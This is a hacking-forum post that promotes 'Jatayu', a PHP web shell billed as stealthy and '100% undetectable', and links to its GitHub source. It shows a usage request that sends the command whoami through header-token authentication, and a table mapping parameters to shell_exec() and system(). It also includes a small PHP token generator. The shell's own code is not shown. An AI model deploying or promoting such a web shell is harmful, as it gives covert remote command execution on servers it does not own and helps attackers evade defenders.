# Jatayu | Stealthy Stand Alone PHP Web Shell

**URL:** <https://onehack.st/t/jatayu-stealthy-stand-alone-php-web-shell/215161>\
**Category:** Tools & Scripts\
**Tags:** tools, privacy\
**Created:** [February 23, 2022, 2:00pm UTC](https://onehack.st/t/jatayu-stealthy-stand-alone-php-web-shell/215161 "2022-02-23T14:00:31Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\
**Post date:** [February 23, 2022, 2:00pm UTC](https://onehack.st/t/jatayu-stealthy-stand-alone-php-web-shell/215161/1 "2022-02-23T14:00:31Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/6/66506a3b124c95f44b025e4c7734dbb2d63ae1ab.png)

#### Stealthy Stand Alone PHP Web Shell

[![](https://camo.githubusercontent.com/d8b83920040d7a89cb8656e95e44694f48944527f8705f1a031ef28d04253ffa/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f72656c656173652d507276382d626c75652e737667)](https://camo.githubusercontent.com/d8b83920040d7a89cb8656e95e44694f48944527f8705f1a031ef28d04253ffa/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f72656c656173652d507276382d626c75652e737667) [![](https://camo.githubusercontent.com/98cdc89e5dc7c787f2ac26b12df9ba2e13702dfedd4d5ffbc50d659fd607d4a2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6973737565732d302d7265642e737667)](https://camo.githubusercontent.com/98cdc89e5dc7c787f2ac26b12df9ba2e13702dfedd4d5ffbc50d659fd607d4a2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6973737565732d302d7265642e737667) [![](https://camo.githubusercontent.com/5874e2a41527a746fa6c5315bc3e4e91caeb11477d2cee7a79893cb239aeb59f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7068702d372d677265656e2e737667)](https://camo.githubusercontent.com/5874e2a41527a746fa6c5315bc3e4e91caeb11477d2cee7a79893cb239aeb59f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7068702d372d677265656e2e737667) [![](https://camo.githubusercontent.com/0f8e07198560ef3e6716667c58100d8fc1ca7b7ee5c4f476e5ce50d0b42045cb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7068702d352d677265656e2e737667)](https://camo.githubusercontent.com/0f8e07198560ef3e6716667c58100d8fc1ca7b7ee5c4f476e5ce50d0b42045cb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7068702d352d677265656e2e737667)

### FEATURES

- Http Header Based Authentication.
- 100% Undetectable.
- Exec Function Changer.
- Nothing Fancy

### USAGE

```auto
GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499

```

### FUNCTIONS

| PARAMETER | FUNCTION |
| --- | --- |
| fn=1 | Calls function shell\_exec() |
| fn=2 | Calls function system() |
| cmd=id | Executes command |

### GENERATE AUTHTOKEN

```auto
<?php
$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
echo $apiKey;
?>

```

## GitHub:

> **[GitHub - SpiderMate/Jatayu: Stealthy Stand Alone PHP Web Shell](https://github.com/SpiderMate/Jatayu)**
>
> Stealthy Stand Alone PHP Web Shell